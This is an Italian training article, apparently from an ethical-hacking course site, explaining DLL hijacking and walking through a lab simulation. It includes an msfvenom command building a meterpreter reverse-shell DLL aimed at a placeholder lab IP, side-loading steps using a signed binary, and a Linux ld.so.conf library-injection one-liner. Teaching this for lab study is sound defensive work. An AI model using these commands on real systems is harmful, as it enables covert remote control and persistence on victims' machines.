Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Il dirottamento delle Dynamic-Link Library rappresenta una delle tecniche più versatili nell'arsenale offensivo: un singolo file DLL malevolo, posizionato nella directory giusta, può garantire persistenza (TA0003), escalation dei privilegi (TA0004) e evasione delle difese (TA0005) in un colpo solo. Il meccanismo sfrutta il modo in cui Windows risolve le dipendenze delle librerie: quando un eseguibile carica una DLL, il sistema operativo segue un ordine di ricerca prevedibile, partendo dalla directory dell'applicazione per poi risalire verso le cartelle di sistema. Un attaccante che inserisce una DLL malevola in una posizione prioritaria — o che sostituisce una libreria legittima — ottiene esecuzione di codice nel contesto del processo vittima.
Le varianti operative sono molteplici: il DLL side-loading affianca payload e binario legittimo firmato; il search order hijacking sfrutta l'ordine di caricamento; il phantom DLL hijacking prende di mira librerie referenziate ma inesistenti; la DLL redirection modifica direttamente il percorso di ricerca via Registry o file manifesto. I numeri confermano la popolarità della tecnica: 32 gruppi APT, 67 famiglie software, 4 campagne documentate e 5 mitigazioni la rendono uno dei vettori più tracciati nell'intero framework. La ragione è semplice: un eseguibile firmato e legittimo che carica una DLL malevola raramente genera allarmi immediati, perché il processo padre risulta attendibile agli occhi di EDR e application control.
La simulazione del DLL hijacking in laboratorio richiede tre fasi distinte: scoperta delle opportunità, creazione del payload e verifica dell'esecuzione. Ogni fase utilizza strumenti diversi, ed è fondamentale operare in un ambiente isolato per evitare impatti accidentali.
Fase 1 — Enumerazione delle opportunità di hijacking. Lo strumento più efficace per identificare DLL mancanti è Process Monitor di Sysinternals (gratuito). Avviatelo con un filtro sulla colonna Result impostato su NAME NOT FOUND e sulla colonna Path con suffisso .dll. Eseguendo applicazioni target si osserveranno immediatamente tutte le librerie cercate ma non trovate — ciascuna rappresenta un'opportunità di phantom DLL hijacking.
Per un approccio sistematico su scala enterprise, il modulo PowerUp di PowerSploit (open source) automatizza la ricerca di directory scrivibili nel PATH e di servizi vulnerabili:
Import-Module .\PowerUp.ps1; Find-ProcessDLLHijack Find-PathDLLHijack
Il primo comando enumera i processi attivi e verifica se le loro directory di caricamento DLL sono scrivibili dall'utente corrente; il secondo analizza le directory nel PATH di sistema alla ricerca di permessi deboli.
Fase 2 — Creazione della DLL malevola. Con msfvenom (open source, parte di Metasploit Framework) si genera una DLL che esegue codice arbitrario:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP_LAB> LPORT=4443 -f dll -o payload.dll
Per scenari più realistici dove il processo vittima non deve crashare, si utilizza il DLL proxying: la DLL malevola esporta le stesse funzioni della libreria originale, inoltrando le chiamate alla DLL legittima dopo aver eseguito il payload. Il tool SharpDLLProxy (open source) automatizza la generazione del sorgente C necessario partendo dall'analisi delle export della DLL originale.
Fase 3 — Side-loading con binario firmato. Molti gruppi APT nei dati analizzati utilizzano binari legittimi firmati come veicolo. Un classico scenario di laboratorio prevede l'uso di un eseguibile legittimo noto per caricare DLL dalla propria directory. Ad esempio, posizionando la DLL malevola rinominata come version.dll nella stessa cartella di un eseguibile Microsoft vulnerabile al search order hijacking, l'esecuzione del binario legittimo innesca il caricamento del payload.
Per verificare che l'esecuzione sia avvenuta nel contesto del processo firmato, controllate con:
tasklist /m payload.dll
Su Linux, per simulare scenari equivalenti di shared library hijacking, si può manipolare la variabile LD_PRELOAD o inserire librerie malevole in percorsi prioritari di ld.so:
echo "/tmp/malicious" > /etc/ld.so.conf.d/evil.conf && ldconfig
Empire (open source) offre moduli analoghi per l'enumerazione e lo sfruttamento automatizzato delle debolezze DLL, mentre Brute Ratel C4 (a pagamento) include funzionalità native di search order hijacking, confezionando payload all'interno di container ISO con binari legittimi e DLL malevole affiancati.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo